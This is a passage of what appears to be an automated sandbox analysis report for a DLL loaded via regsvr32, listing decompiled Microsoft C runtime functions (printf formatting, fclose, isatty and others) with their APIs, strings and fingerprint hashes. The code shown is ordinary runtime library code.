				_a116 = 1;
				goto 0xf9d3c8f5;
				_a80 = _a80 & 0xfffffff7;
				if (_a116 - 0x200 <= 0) goto 0xf9d3c8f5;
				_a116 = 0x200;
				if (_a832 != 0) goto 0xf9d3c908;
				_a92 = 0;
				_a64 =  &_a687;
				_t212 = _a116;
				_a116 = _a116 - 1;
				if (_t212 > 0) goto 0xf9d3c936;
				if (_a832 == 0) goto 0xf9d3c9d3;
				_a1040 = _a72;
				_a816 = _t212 / _a1040 + 0x30;
				_a1048 = _a72;
				if (_a816 - 0x39 <= 0) goto 0xf9d3c9b2;
				_t217 = _a816 + _a708;
				_a816 = _t217;
				 *_a64 = _a816 & 0x000000ff;
				_a64 = _a64 - 1;
				goto 0xf9d3c915;
				_a104 = _t217;
				_a64 = _a64 + 1;
				if ((_a80 & 0x00000200) == 0) goto 0xf9d3ca31;
				if (_a104 == 0) goto 0xf9d3ca12;
				if ( *_a64 == 0x30) goto 0xf9d3ca31;
				_a64 = _a64 - 1;
				 *_a64 = 0x30;
				_a104 = _a104 + 1;
				if (_a108 != 0) goto 0xf9d3cc6e;
				if ((_a80 & 0x00000040) == 0) goto 0xf9d3ca95;
				if ((_a80 & 0x00000100) == 0) goto 0xf9d3ca63;
				_a84 = 0x2d;
				_a92 = 1;
				goto 0xf9d3ca95;
				if ((_a80 & 0x00000001) == 0) goto 0xf9d3ca7d;
				_a84 = 0x2b;
				_a92 = 1;
				goto 0xf9d3ca95;
				if ((_a80 & 0x00000002) == 0) goto 0xf9d3ca95;
				_a84 = 0x20;
				_a92 = 1;
				_a840 = _a88 - _a104 - _a92;
				if ((_a80 & 0x0000000c) != 0) goto 0xf9d3cad5;
				E000007FE7FEF9D3CF10(0x20, _a840, _a1088,  &_a688);
				E000007FE7FEF9D3CF60(_a92, _a64,  &_a84, _a1088,  &_a688);
				if ((_a80 & 0x00000008) == 0) goto 0xf9d3cb27;
				if ((_a80 & 0x00000004) != 0) goto 0xf9d3cb27;
				E000007FE7FEF9D3CF10(0x30, _a840, _a1088,  &_a688);
				if (_a76 == 0) goto 0xf9d3cc1d;
				if (_a104 <= 0) goto 0xf9d3cc1d;
				_a872 = 0;
				_a848 = _a64;
				_a856 = _a104;
				_a856 = _a856 - 1;
				if (_a856 == 0) goto 0xf9d3cc1b;
				_a1056 =  *_a848 & 0x0000ffff;
				r9d = _a1056 & 0x0000ffff;
				r8d = 6;
				_a872 = E000007FE7FEF9D3B530( &_a860,  &_a864, _a1088);
				_a848 =  &(_a848[1]);
				if (_a872 != 0) goto 0xf9d3cbe5;
				if (_a860 != 0) goto 0xf9d3cbf2;
				_a688 = 0xffffffff;
				goto 0xf9d3cc1b;
				E000007FE7FEF9D3CF60(_a860,  &(_a848[1]),  &_a864, _a1088,  &_a688);
				goto 0xf9d3cb60;
				goto 0xf9d3cc3b;
				E000007FE7FEF9D3CF60(_a104,  &(_a848[1]), _a64, _a1088,  &_a688);
				if (_a688 < 0) goto 0xf9d3cc6e;
				if ((_a80 & 0x00000004) == 0) goto 0xf9d3cc6e;
				E000007FE7FEF9D3CF10(0x20, _a840, _a1088,  &_a688);
				if (_a96 == 0) goto 0xf9d3cc8e;
				0xf9d25330();
				_a96 = 0;
				goto 0xf9d3b99c;
				if (_a704 == 0) goto 0xf9d3ccb4;
				if (_a704 == 7) goto 0xf9d3ccb4;
				_a1060 = 0;
				goto 0xf9d3ccbf;
				_a1060 = 1;
				_t252 = _a1060;
				_a876 = _t252;
				if (_a876 != 0) goto 0xf9d3cd05;
				_t354 = L"((state == ST_NORMAL) || (state == ST_TYPE))";
				_a32 = _t354;
				r9d = 0;
				r8d = 0x8f5;
				0xf9d2b3b0();
				if (_t252 != 1) goto 0xf9d3cd05;
				asm("int3");
				if (_a876 != 0) goto 0xf9d3cd61;
				0xf9d2ab30();
				 *_t354 = 0x16;
				_a32 = 0;
				r9d = 0x8f5;
				E000007FE7FEF9D2BD70(L"((state == ST_NORMAL) || (state == ST_TYPE))", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_64_amd64\\crt\\src\\output.c");
				_a912 = 0xffffffff;
				E000007FE7FEF9D26800( &_a120);
				goto 0xf9d3cd80;
				_a916 = _a688;
				E000007FE7FEF9D26800( &_a120);
				return E000007FE7FEF9D23280(_a916, 2, 2, _a1064 ^ _t379, L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_64_amd64\\crt\\src\\output.c");
			}

0x7fef9d3c719
0x7fef9d3c719
0x7fef9d3c724
0x7fef9d3c737
0x7fef9d3c739
0x7fef9d3c748
0x7fef9d3c74c
0x7fef9d3c756
0x7fef9d3c769
0x7fef9d3c76f
0x7fef9d3c782
0x7fef9d3c78c
0x7fef9d3c791
0x7fef9d3c799
0x7fef9d3c7a9
0x7fef9d3c7b3
0x7fef9d3c7b8
0x7fef9d3c7c0
0x7fef9d3c7ce
0x7fef9d3c7d9
0x7fef9d3c7e8
0x7fef9d3c7ec
0x7fef9d3c7f4
0x7fef9d3c7fe
0x7fef9d3c806
0x7fef9d3c80e
0x7fef9d3c819
0x7fef9d3c823
0x7fef9d3c82a
0x7fef9d3c832
0x7fef9d3c83c
0x7fef9d3c843
0x7fef9d3c854
0x7fef9d3c85f
0x7fef9d3c86c
0x7fef9d3c878
0x7fef9d3c880
0x7fef9d3c882
0x7fef9d3c88a
0x7fef9d3c89d
0x7fef9d3c8aa
0x7fef9d3c8bf
0x7fef9d3c8cc
0x7fef9d3c8ce
0x7fef9d3c8d6
0x7fef9d3c8df
0x7fef9d3c8eb
0x7fef9d3c8ed
0x7fef9d3c8fe
0x7fef9d3c900
0x7fef9d3c910
0x7fef9d3c915
0x7fef9d3c91f
0x7fef9d3c925
0x7fef9d3c930
0x7fef9d3c93b
0x7fef9d3c95e
0x7fef9d3c96a
0x7fef9d3c997
0x7fef9d3c9a9
0x7fef9d3c9ab
0x7fef9d3c9bf
0x7fef9d3c9c9
0x7fef9d3c9ce
0x7fef9d3c9e0
0x7fef9d3c9ec
0x7fef9d3c9fc
0x7fef9d3ca03
0x7fef9d3ca10
0x7fef9d3ca1a
0x7fef9d3ca24
0x7fef9d3ca2d
0x7fef9d3ca36
0x7fef9d3ca45
0x7fef9d3ca52
0x7fef9d3ca54
0x7fef9d3ca59
0x7fef9d3ca61
0x7fef9d3ca6c
0x7fef9d3ca6e
0x7fef9d3ca73
0x7fef9d3ca7b
0x7fef9d3ca86
0x7fef9d3ca88
0x7fef9d3ca8d
0x7fef9d3caa5
0x7fef9d3cab5
0x7fef9d3cad0
0x7fef9d3caee
0x7fef9d3cafc
0x7fef9d3cb07
0x7fef9d3cb22
0x7fef9d3cb2c
0x7fef9d3cb37
0x7fef9d3cb3d
0x7fef9d3cb4d
0x7fef9d3cb59
0x7fef9d3cb70
0x7fef9d3cb79
0x7fef9d3cb8a
0x7fef9d3cb92
0x7fef9d3cb9b
0x7fef9d3cbb6
0x7fef9d3cbc9
0x7fef9d3cbd9
0x7fef9d3cbe3
0x7fef9d3cbe5
0x7fef9d3cbf0
0x7fef9d3cc11
0x7fef9d3cc16
0x7fef9d3cc1b
0x7fef9d3cc36
0x7fef9d3cc43
0x7fef9d3cc4e
0x7fef9d3cc69
0x7fef9d3cc74
0x7fef9d3cc80
0x7fef9d3cc85
0x7fef9d3cc8e
0x7fef9d3cc9b
0x7fef9d3cca5
0x7fef9d3cca7
0x7fef9d3ccb2
0x7fef9d3ccb4
0x7fef9d3ccbf
0x7fef9d3ccc6
0x7fef9d3ccd5
0x7fef9d3ccd7
0x7fef9d3ccde
0x7fef9d3cce3
0x7fef9d3cce6
0x7fef9d3ccf8
0x7fef9d3cd00
0x7fef9d3cd02
0x7fef9d3cd0d
0x7fef9d3cd0f
0x7fef9d3cd14
0x7fef9d3cd1a
0x7fef9d3cd23
0x7fef9d3cd3e
0x7fef9d3cd43
0x7fef9d3cd53
0x7fef9d3cd5f
0x7fef9d3cd68
0x7fef9d3cd74
0x7fef9d3cd97

APIs

get_int64_arg.LIBCMTD ref: 000007FEF9D3C78C

Strings

9, xrefs: 000007FEF9D3C98F
0, xrefs: 000007FEF9D3C739
', xrefs: 000007FEF9D3C719

Memory Dump Source

Source File: 00000003.00000002.927302319.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.927297170.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927319388.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927327720.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927337335.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: get_int64_arg
String ID: '$0$9
API String ID: 1967237116-269856862
Opcode ID: 83c439eea7fc9ce93bcb821b911d608e7d80de2d13083439c5735137d4fc31ad
Instruction ID: b3eda79bc04a60fb7ee4a4011f7c31915f3bf9e4e3688118cbdbb277fe6e384d
Opcode Fuzzy Hash: 83c439eea7fc9ce93bcb821b911d608e7d80de2d13083439c5735137d4fc31ad
Instruction Fuzzy Hash: 0D41B47260DAC187E7B58B19E8957AEB7E4F385791F100125EAC886B98DB7DE640CF00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D35260 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 93COMMON

Download Yara Rule

APIs

_CreateFrameInfo.LIBCMTD ref: 000007FEF9D35342
_FindAndUnlinkFrame.LIBCMTD ref: 000007FEF9D353DC
_IsExceptionObjectToBeDestroyed.LIBCMTD ref: 000007FEF9D35433

Strings

csm, xrefs: 000007FEF9D353ED

Memory Dump Source

Source File: 00000003.00000002.927302319.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.927297170.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927319388.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927327720.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927337335.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Frame$CreateDestroyedExceptionFindInfoObjectUnlink
String ID: csm
API String ID: 2005287440-1018135373
Opcode ID: 4c556ceed80f2aba1954f9041ed191ad0fbab56fa1f8ad9f2457e70616e7d401
Instruction ID: 0432dbe60f42fc154ce83aeddd16286c3d94edaaa77ff7db33c77853d76fe5a2
Opcode Fuzzy Hash: 4c556ceed80f2aba1954f9041ed191ad0fbab56fa1f8ad9f2457e70616e7d401
Instruction Fuzzy Hash: FB51A836608B8682DAA09B1AF49076E77E0F3C4B91F615125EBCD47BB5DF3AD444CB40

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D28040 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 80COMMON

Download Yara Rule

APIs

__initmbctable.LIBCMT ref: 000007FEF9D28056
GetModuleFileNameA.KERNEL32 ref: 000007FEF9D28071

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\stdargv.c, xrefs: 000007FEF9D2813C
C:\Windows\System32\regsvr32.exe, xrefs: 000007FEF9D28068, 000007FEF9D28077, 000007FEF9D280A9

Memory Dump Source

Source File: 00000003.00000002.927302319.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.927297170.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927319388.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927327720.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927337335.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: FileModuleName__initmbctable
String ID: C:\Windows\System32\regsvr32.exe$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\stdargv.c
API String ID: 3548084100-1254873407
Opcode ID: d38f4fd9cb9ecdd73cd32345429acc70b773e7a180fa8c1b1693dc69edd9f2e5
Instruction ID: 40487cdd99e7390fc7cfa00da240fffb72a0e4e16c6d4a8cb9187a6270b67cf4
Opcode Fuzzy Hash: d38f4fd9cb9ecdd73cd32345429acc70b773e7a180fa8c1b1693dc69edd9f2e5
Instruction Fuzzy Hash: 09410C21A19A8281EA90CB19EC8136E77A0F7857A5F614626E6EE43BF4DF3ED144C701

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D328E8 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 77COMMON

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D32A56

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\vsprintf.c, xrefs: 000007FEF9D32A07, 000007FEF9D32A41
_vsnprintf_s_l, xrefs: 000007FEF9D32A48
("Buffer too small", 0), xrefs: 000007FEF9D329F2, 000007FEF9D32A4F

Memory Dump Source

Source File: 00000003.00000002.927302319.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.927297170.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927319388.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927327720.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927337335.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: ("Buffer too small", 0)$_vsnprintf_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\vsprintf.c
API String ID: 2123368286-3717698799
Opcode ID: 65def78894184635a726d36e54dfff1a0241531dd31d36ef72262bf6a1fca492
Instruction ID: db9b60f6e9b20c9f37adeee518bf084cd0881f5c38580f5bd04c1ce4cfd39116
Opcode Fuzzy Hash: 65def78894184635a726d36e54dfff1a0241531dd31d36ef72262bf6a1fca492
Instruction Fuzzy Hash: 49412931E1C7868AEAB08B24E84476E62E0F385365F604335D6ED427E5CB3EE444CB11

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D27816 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 74COMMON

Download Yara Rule

APIs

_calloc_dbg.LIBCMTD ref: 000007FEF9D27858

Part of subcall function 000007FEF9D24980: _calloc_dbg_impl.LIBCMTD ref: 000007FEF9D249C6

GetFileType.KERNEL32 ref: 000007FEF9D27A24
InitializeCriticalSectionAndSpinCount.KERNEL32 ref: 000007FEF9D27AA5

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\ioinit.c, xrefs: 000007FEF9D27841

Memory Dump Source

Source File: 00000003.00000002.927302319.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.927297170.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927319388.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927327720.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927337335.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: CountCriticalFileInitializeSectionSpinType_calloc_dbg_calloc_dbg_impl
String ID: f:\dd\vctools\crt_bld\self_64_amd64\crt\src\ioinit.c
API String ID: 2306298712-3864165772
Opcode ID: 6db4822cd77f1ed37bef3fea8eb09d36478b9c501087b185a6ab49f69a42b384
Instruction ID: b637de57708ed2c7d115ffe7a667dd769ed1fe34c6e506efeb830bf347bff847
Opcode Fuzzy Hash: 6db4822cd77f1ed37bef3fea8eb09d36478b9c501087b185a6ab49f69a42b384
Instruction Fuzzy Hash: D8313D32609BC585E7B08B19E84076EB3E1F385764F618225CAED877E4DB3DE405CB11

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D37F0E Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 69COMMON

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3806E

Strings

bufferSize <= INT_MAX, xrefs: 000007FEF9D3800A, 000007FEF9D38067
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\wcstombs.c, xrefs: 000007FEF9D3801F, 000007FEF9D38059
_wcstombs_s_l, xrefs: 000007FEF9D38060

Memory Dump Source

Source File: 00000003.00000002.927302319.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.927297170.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927319388.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927327720.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927337335.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: _wcstombs_s_l$bufferSize <= INT_MAX$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\wcstombs.c
API String ID: 2123368286-2562677240
Opcode ID: dabd10d16ebe11174fc63b9f89b539a3b240949ad9ffb505f617c08bbd3ff20b
Instruction ID: c85490607768c44f9eb9442c12c0ad7794bb5914cb74fa2bef1d73063ee62390
Opcode Fuzzy Hash: dabd10d16ebe11174fc63b9f89b539a3b240949ad9ffb505f617c08bbd3ff20b
Instruction Fuzzy Hash: 67311632A0DB8685EAB09B15E8407AEB7E1F385390F204625D6DD43BE8DB7ED444CB02

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D40680 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 69COMMON

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D4071E

Part of subcall function 000007FEF9D3AFB0: _invalid_parameter.LIBCMTD ref: 000007FEF9D3B046

Part of subcall function 000007FEF9D40A20: __doserrno.LIBCMTD ref: 000007FEF9D40A33

Strings

_fclose_nolock, xrefs: 000007FEF9D40710
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\fclose.c, xrefs: 000007FEF9D406CF, 000007FEF9D40709
(str != NULL), xrefs: 000007FEF9D406BA, 000007FEF9D40717

Memory Dump Source

Source File: 00000003.00000002.927302319.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.927297170.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927319388.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927327720.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927337335.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter$__doserrno
String ID: (str != NULL)$_fclose_nolock$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\fclose.c
API String ID: 1181141450-2845860089
Opcode ID: 7bab6b588e6dd2839569b0ca5fa95970036134ebeeb6453b58b8f029525d0fe5
Instruction ID: a2d3a4357c877c10dbeba88c1570b3bcf2b7b0db3c51835aaf51b50bd6ce4727
Opcode Fuzzy Hash: 7bab6b588e6dd2839569b0ca5fa95970036134ebeeb6453b58b8f029525d0fe5
Instruction Fuzzy Hash: 25316D36A28A4286E7909B19E88476E77E0F380794F205125F6CE477F5CB7ED841CF42

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3AB10 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 57COMMON

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3ABCD

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\isatty.c, xrefs: 000007FEF9D3AB7E, 000007FEF9D3ABB8
(fh >= 0 && (unsigned)fh < (unsigned)_nhandle), xrefs: 000007FEF9D3AB69, 000007FEF9D3ABC6
_isatty, xrefs: 000007FEF9D3ABBF

Memory Dump Source

Source File: 00000003.00000002.927302319.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.927297170.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927319388.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927327720.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927337335.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: (fh >= 0 && (unsigned)fh < (unsigned)_nhandle)$_isatty$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\isatty.c
API String ID: 2123368286-160817255
Opcode ID: 20bce409a33f2d52ae5b3246709d5cabe66b407105c41d1953a7685d10f1773e
Instruction ID: f81691e69628683e8e3df4f52d5e63bc79cedec177f2501b48199eede19b8a9f
Opcode Fuzzy Hash: 20bce409a33f2d52ae5b3246709d5cabe66b407105c41d1953a7685d10f1773e
Instruction Fuzzy Hash: 7E218E71B2D6428AE7D89B24EC8476DB3E1F390395F609635E1DE476E4D77ED4018B00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D40580 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 54COMMON

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D4061E

Strings

(stream != NULL), xrefs: 000007FEF9D405BA, 000007FEF9D40617
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\fclose.c, xrefs: 000007FEF9D405CF, 000007FEF9D40609
fclose, xrefs: 000007FEF9D40610

Memory Dump Source

Source File: 00000003.00000002.927302319.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.927297170.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927319388.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927327720.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927337335.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: (stream != NULL)$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\fclose.c$fclose
API String ID: 2123368286-3409824857
Opcode ID: b4902cc461c388e31b4dcd0307079e4da2555ab755984697fa072277fbec1f80
Instruction ID: aea6e50ad225ee654e5ba897f2371f9ab8692fab447ee5272478533351973a17
Opcode Fuzzy Hash: b4902cc461c388e31b4dcd0307079e4da2555ab755984697fa072277fbec1f80
Instruction Fuzzy Hash: 69214C72A2D64286EB909F58E84476EB7E0F380394F605125E6CE47AE4CBBED444CF42

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D2C170 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 51COMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D2C20A

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\isctype.c, xrefs: 000007FEF9D2C1B3
(unsigned)(c + 1) <= 256, xrefs: 000007FEF9D2C19E

Memory Dump Source

Source File: 00000003.00000002.927302319.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.927297170.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927319388.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927327720.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927337335.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$UpdateUpdate::~_
String ID: (unsigned)(c + 1) <= 256$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\isctype.c
API String ID: 1901436342-3621827421
Opcode ID: 582f87e7669c1111abee6c616077222c15a1b9b573b43815cbd7bd4630f6c99c
Instruction ID: b6da7cfe51097e189ae1413993ad3b1820e6f9d9ec5e09c8ec6feaf0c9b902cc
Opcode Fuzzy Hash: 582f87e7669c1111abee6c616077222c15a1b9b573b43815cbd7bd4630f6c99c
Instruction Fuzzy Hash: 6D210132918A8186E790DB64E8516AEB7E0F7C4780F614122E7CD83AB9DB7DD954CF40

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D32C9F Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 48COMMON

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D32D62

Strings

("Invalid error_mode", 0), xrefs: 000007FEF9D32CFE, 000007FEF9D32D5B
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\errmode.c, xrefs: 000007FEF9D32D13, 000007FEF9D32D4D
_set_error_mode, xrefs: 000007FEF9D32D54

Memory Dump Source

Source File: 00000003.00000002.927302319.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.927297170.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927319388.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927327720.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927337335.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: ("Invalid error_mode", 0)$_set_error_mode$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\errmode.c
API String ID: 2123368286-2972513288
Opcode ID: f8745b700fb78b44b2e658b57c518d69726f466f5def5af1cc34e5c73236fe3e
Instruction ID: 6381d33894c21e9a570bb340808ef8ba759c91e84b1c9252353dd9e19991e7ba
Opcode Fuzzy Hash: f8745b700fb78b44b2e658b57c518d69726f466f5def5af1cc34e5c73236fe3e
Instruction Fuzzy Hash: 64211A31E1D242CAE7E08F28EC44B6E72E1F344395F605536A6CA866B4D77EE944CB41

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D32695 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 42COMMON

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3274D

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\vsprintf.c, xrefs: 000007FEF9D326FE, 000007FEF9D32738
_vsnprintf_s_l, xrefs: 000007FEF9D3273F
string != NULL && sizeInBytes > 0, xrefs: 000007FEF9D326E9, 000007FEF9D32746

Memory Dump Source

Source File: 00000003.00000002.927302319.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.927297170.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927319388.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927327720.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927337335.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: _vsnprintf_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\vsprintf.c$string != NULL && sizeInBytes > 0
API String ID: 2123368286-367560414
Opcode ID: b10b6c40919f833f94f1f9af6a6d465dd1a232ebc9f5396bdae7492d99103452
Instruction ID: a1605579a08129191013953cda15cb2ece86ed32ec4905bca1088ce11b277eda
Opcode Fuzzy Hash: b10b6c40919f833f94f1f9af6a6d465dd1a232ebc9f5396bdae7492d99103452
Instruction Fuzzy Hash: EB114931E0C64A89F7E08B14EC457BE62E0F750385F608525D2DD46AF9CBBEE4888F01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D375E9 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 40COMMON

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3769D

Strings

pwcs != NULL, xrefs: 000007FEF9D37636, 000007FEF9D37696
